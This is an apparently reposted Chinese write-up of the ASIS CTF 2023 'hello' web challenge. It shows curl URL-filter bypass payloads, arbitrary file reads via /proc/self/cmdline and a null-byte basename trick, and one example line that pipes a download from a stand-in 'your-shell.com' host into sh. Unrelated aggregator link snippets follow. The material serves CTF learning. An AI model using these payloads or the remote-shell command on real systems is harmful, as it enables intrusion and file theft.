asisctf 2023 web hello wp

news2024/11/26 10:01:01

hello

开题,直接给了源码。

<?php
/*
Read /next.txt
Hint for beginners: read curl's manpage.
*/
highlight_file(__FILE__);
$url = 'file:///hi.txt';
if(
    array_key_exists('x', $_GET) &&
    !str_contains(strtolower($_GET['x']),'file') && 
    !str_contains(strtolower($_GET['x']),'next')
){
    $url = $_GET['x'];
}
system('curl '.escapeshellarg($url));

image-20230922231555502

提示我们读取/next.txt文件,但是代码中用str_contains()函数过滤了字符串filenext

分析一下陌生函数。

array_key_exists('x', $_GET):检查数组里是否有指定的键名或索引,相当于issert($_GET['x'])

str_contains(strtolower($_GET['x']),'file'):将第一个参数转小写后检测第一个参数($_GET[‘x’])里面是否包含第二个参数(file字符串)

escapeshellarg($url):将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。这样一来,我们只能curl 一个URL了,无法拼接等操作执行别的命令。


尝试用curl命令+file://伪协议读取文件/next.txt,期间还要绕过过滤。

image-20230923192507614

payload:

?x=fil{e}:///nex{t}.txt

或者

?x=fil%ffe:///nex%fft.txt

或者正则匹配绕过

?x=fil[e-e]:///nex[t-t].txt

解释一下这些paylaod。

第一个包花括号的?x=fil{e}:///nex{t}.txt

这个包花括号绕过法目前只发现对curl的参数有效。比如:

curl fil{e}:///nex{t}.txt
curl {h}ttps://your-shell.com/120.46.41.173:9023 | sh

第二个payload?x=fil%ffe:///nex%fft.txt是利用了escapeshellarg()函数的漏洞,可参考浅谈CTF中escapeshellarg的利用_escapeshellarg 绕过_slug01sh的博客-CSDN博客

成功读取/next.txt文件,提示我们前往http://45.147.231.180:8001/39c8e9953fe8ea40ff1c59876e0e2f28/

image-20230922231627720

提示我们输入/read/?file=/proc/self/cmdline,猜测这里file参数存在任意文件读取。

image-20230923003017440

先读取一下/proc/self/cmdline看看。

image-20230923203529629

L2Jpbi9idW4tMS4wLjIAL2FwcC9pbmRleC5qcwA=

解密后是

/bin/bun-1.0.2\x00/app/index.js\x00

读取/app/index.js/read/?file=/app/index.js。解码后是:

const fs = require('node:fs');
const path = require('path')

/*
I wonder what is inside /next.txt  
*/

const secret = '39c8e9953fe8ea40ff1c59876e0e2f28'
const server = Bun.serve({
  port: 8000,
  fetch(req) {
  	let url = new URL(req.url);
  	let pname = url.pathname;
  	if(pname.startsWith(`/${secret}`)){
      if(pname.startsWith(`/${secret}/read`)){
        try{
          let fpath = url.searchParams.get('file');
          if(path.basename(fpath).indexOf('next') == -1){ 
            return new Response(fs.readFileSync(fpath).toString('base64'));
          } else {
            return new Response('no way');
          }
        } catch(e){ }
        return new Response("Couldn't read your file :(");
      }
      return new Response(`did you know i can read files?? amazing right,,, maybe try /${secret}/read/?file=/proc/self/cmdline`);
    }
    return 
  }
});

读一遍代码后发现了逻辑漏洞。在过滤时使用了basename()函数处理传入的文件路径。

if (path.basename(fpath).indexOf('next') == -1){
    return newResponse(fs.readFileSync(fpath).toString('base64'));
}

JS中的basename()函数功能类似于PHP中的basename()函数。函数返回路径中的文件名部分。例如当前路径为/foo/bar.txt,则返回bar.txt

payload:(%00截断)

/read/?file=/next.txt%00/xxx

image-20230923210447630

Tm93IGl0J3MgdGltZSBmb3IgYSB3aGl0ZWJveCBjaGFsbGVuZ2UuCkZpbmQgdGhlIGhpZGRlbiBzdWJkb21haW4gYW5kIHRoZW4gYSBzZWNyZXQgZW5kcG9pbnQgYW5kIG9ubHkgdGhlbiB5b3UgbWF5IHJlY2VpdmUgeW91ciBmbGFnLgpMaW5rIHRvIHRoZSB3ZWJzaXRlOiBgYW5WemRDQnJhV1JrYVc1bkxpQkJVMGxUZTJkdmIyUmZhbTlpWDJKMWJuMGdDZz09YAoK

解码后是

Now it's time for a whitebox challenge.
Find the hidden subdomain and then a secret endpoint and only then you may receive your flag.
Link to the website: `anVzdCBraWRkaW5nLiBBU0lTe2dvb2Rfam9iX2J1bn0gCg==`
anVzdCBraWRkaW5nLiBBU0lTe2dvb2Rfam9iX2J1bn0gCg==

解码后如下,成功得到flag

just kidding. ASIS{good_job_bun} 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1042720.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

节日灯饰灯串灯出口欧洲CE认证办理

灯串&#xff08;灯带&#xff09;&#xff0c;这个产品的形状就象一根带子一样&#xff0c;再加上产品的主要原件就是LED&#xff0c;因此叫做灯串或者灯带。2022年&#xff0c;我国灯具及相关配件产品出口总额超过460亿美元。其中北美是最大的出口市场。其次是欧洲市场&#…

ICML 2017: 基于卷积的Seq2Seq解决方案

一.文章概述 通常而言&#xff0c;Seq2Seq解决方案一般都采用循环神经网络&#xff0c;但在本文&#xff0c;作者提出了基于卷积神经网络的解决方案ConvS2S。基于卷积神经网络的方案有两大优势&#xff1a;计算并行化更高&#xff0c;优化更容易&#xff08;非线性的数量是固定…

AndroidStudio无法查看Compose重组次数?

印象中是一开始使用AndroidStudio LayoutInspector想查看Compose重组次数的时候&#xff0c;一开始折腾了下后来忘了这茬事了&#xff0c;最近&#x1fa9c;到期了&#xff0c;家里又换了台新的mac mini又看到这个问题&#x1f60a;&#xff0c;就想着给大家整理了一下解决方法…

Python+requests+unittest+excel实现接口自动化测试框架

一、框架结构&#xff1a; 工程目录 二、Case文件设计 三、基础包 base 3.1 封装get/post请求&#xff08;runmethon.py&#xff09; 1 import requests2 import json3 class RunMethod:4 def post_main(self,url,data,headerNone):5 res None6 if heade…

win10,WSL的Ubuntu配python3.7手记

1.装linux 先在windows上安装WSL版本的Ubuntu Windows10系统安装Ubuntu子系统_哔哩哔哩_bilibili &#xff08;WSL2什么的一直没搞清楚&#xff09; 图形界面会出一些问题&#xff0c;注意勾选ccsm出的界面设置 win10安装Ubuntu16.04子系统&#xff0c;并开启桌面环境_win…

opencv: 解决保存视频失败的问题

摘要&#xff1a;opencv能读取视频&#xff0c;但保存视频时报错。 一、首先要确保已经下载了openh264.dll文件&#xff0c;否则保存的视频无法打开&#xff0c;详细可以浏览这个&#xff1a;opencv&#xff1a;保存视频。 二、保存视频时出现一下问题&#xff1a; OpenCV:…

自学Mysql调优笔记

Mysql性能调优学习 预计十天完成14/day 1. 存储引擎 存储引擎是基于表的&#xff0c;而不是基于库的 SHOW ENGINES --展示所有存储引擎1.1 InnoDB DML操作遵循ACID模型&#xff0c;支持事务。 行鸡锁&#xff0c;提供并发访问性能。 支持外键约束&#xff0c;保证数据完…

赢麻了!smardaten闷声干大事,竟然用无代码开发了复杂小程序!

本文目录 一、【前言】二、移动端项目实战&#xff1a;关爱云服务平台2.1 项目背景2.2 6大场景功能拆解&#xff08;1&#xff09;场景1-首页&#xff08;2&#xff09;场景2-找活动&#xff08;3&#xff09;场景3-找组织&#xff08;4&#xff09;场景4-找服务&#xff08;5&…

自学网络安全———(黑客技术)

如果你想自学网络安全&#xff0c;首先你必须了解什么是网络安全&#xff01;&#xff0c;什么是黑客&#xff01;&#xff01; 1.无论网络、Web、移动、桌面、云等哪个领域&#xff0c;都有攻与防两面性&#xff0c;例如 Web 安全技术&#xff0c;既有 Web 渗透2.也有 Web 防…

电压放大器在无损探伤中的应用研究

电压放大器是一种常见的电子设备&#xff0c;其主要作用是将低电平信号转换为高电平信号。在无损探伤中&#xff0c;电压放大器被广泛应用于信号增益和分析&#xff0c;以便更好地检测表面或内部缺陷。下面安泰电子Aigtek将详细介绍电压放大器在无损探伤中的应用研究。 电压放大…

电缆桥架填充计算表

一、规范要求 1、《建筑电气与智能化通用规范》&#xff08;GB55024-2022&#xff09;6.1.2&#xff1a; 导管和电缆槽盒内配电电线的总截面面积不应超过导管或电缆槽盒内截面面积的40%&#xff1b;电缆槽盒内控制线缆的总截面面积不应超过电缆槽盒内截面面积的50%。 2、《建筑…

asp.net core automapper的使用

1.安装automapper的nuget包 AutoMapper.Extensions.Microsoft.DependencyInjection 2.创建需要映射的类和转换后的类 public class studto{public int sn { get; set; }public string name { get; set; }public string sex { get; set; }public int age { get; set; }public s…

快速使用Spring Cache

哈喽~大家好&#xff0c;这篇我们来看看快速使用Spring Cache。 &#x1f947;个人主页&#xff1a;个人主页​​​​​ &#x1f948; 系列专栏&#xff1a;【日常学习上的分享】 &#x1f949;与这篇相关的文章&#xff1a; R…

数据结构之道:如何选择适合你的数据存储

文章目录 第1节&#xff1a;数据结构的基本原理1.1 时间复杂度和空间复杂度1.2 数据的访问方式1.3 数据的增删操作 第2节&#xff1a;常见的数据结构2.1 数组&#xff08;Array&#xff09;2.2 链表&#xff08;Linked List&#xff09;2.3 栈&#xff08;Stack&#xff09;2.4…

数字化卡券拉新怎么做?卡券营销系统如何裂变用户

卡券促销活动对于大众用户而言是一种常见的营销手段&#xff0c;也是一种推动产品销售的方式&#xff0c;针对不同类型的营销诉求&#xff0c;同类型的卡券活动也需要配置不同的落地手段&#xff0c;才能更好地抓住消费者的心理&#xff0c;达到增收的目的&#xff0c;如何借助…

Interceptor内存马

Interceptor是SpringMVC中的拦截器&#xff0c;类似于Servlet中的Filter&#xff0c;主要针对Controller层进行拦截请求。 Interceptor的注册过程 在DispatcherServlet#doDispatch方法中的会调用getHandler方法&#xff08;可接Controller查找部分&#xff09;&#xff0c;在…

选择适合的项目管理工具,助力出海企业

当下全球化的加速推进&#xff0c;越来越多的企业开始寻求海外市场的机会&#xff0c;从而迎来了充满机遇的前景&#xff1a;市场多元化&#xff0c;降低单一市场风险&#xff0c;实现更稳健的增长&#xff1b;技术创新&#xff0c;不同地区的市场需求可能会激发新的技术创新&a…

通用CI/CD软件平台TeamCity推出代理终端功能,谁能从中获益?

JetBrains官方在TeamCity中推出代理终端&#xff1a;这项新功能专门用于帮助用户轻松查看代理上的系统日志、检查已安装的软件&#xff0c;以及直接从 TeamCity 的 UI 调试特定代理问题。 TeamCity是一个通用的 CI/CD 软件平台&#xff0c;可以实现灵活的工作流、协作和开发做…

增强for循环和一般for循环的对比使用

文章底部有个人公众号&#xff1a;热爱技术的小郑。主要分享开发知识、学习资料、毕业设计指导等。个人B站主页热爱技术的小郑 &#xff0c;视频内容主要是对应文章的视频讲解形式。有兴趣的可以关注一下。为何分享&#xff1f; 踩过的坑没必要让别人在再踩&#xff0c;自己复盘…

智能回答机器人的“智能”体现在哪里?

人工智能的广泛应用已经成为当今社会科技发展的趋势之一。通过人工智能技术&#xff0c;我们可以在不同领域中实现自动化、智能化和高效化&#xff0c;从而大大提升生产和生活效率。智能回答机器人的出现和使用便能很好的证明这一点。今天我们就来探讨一下智能会打机器人的“智…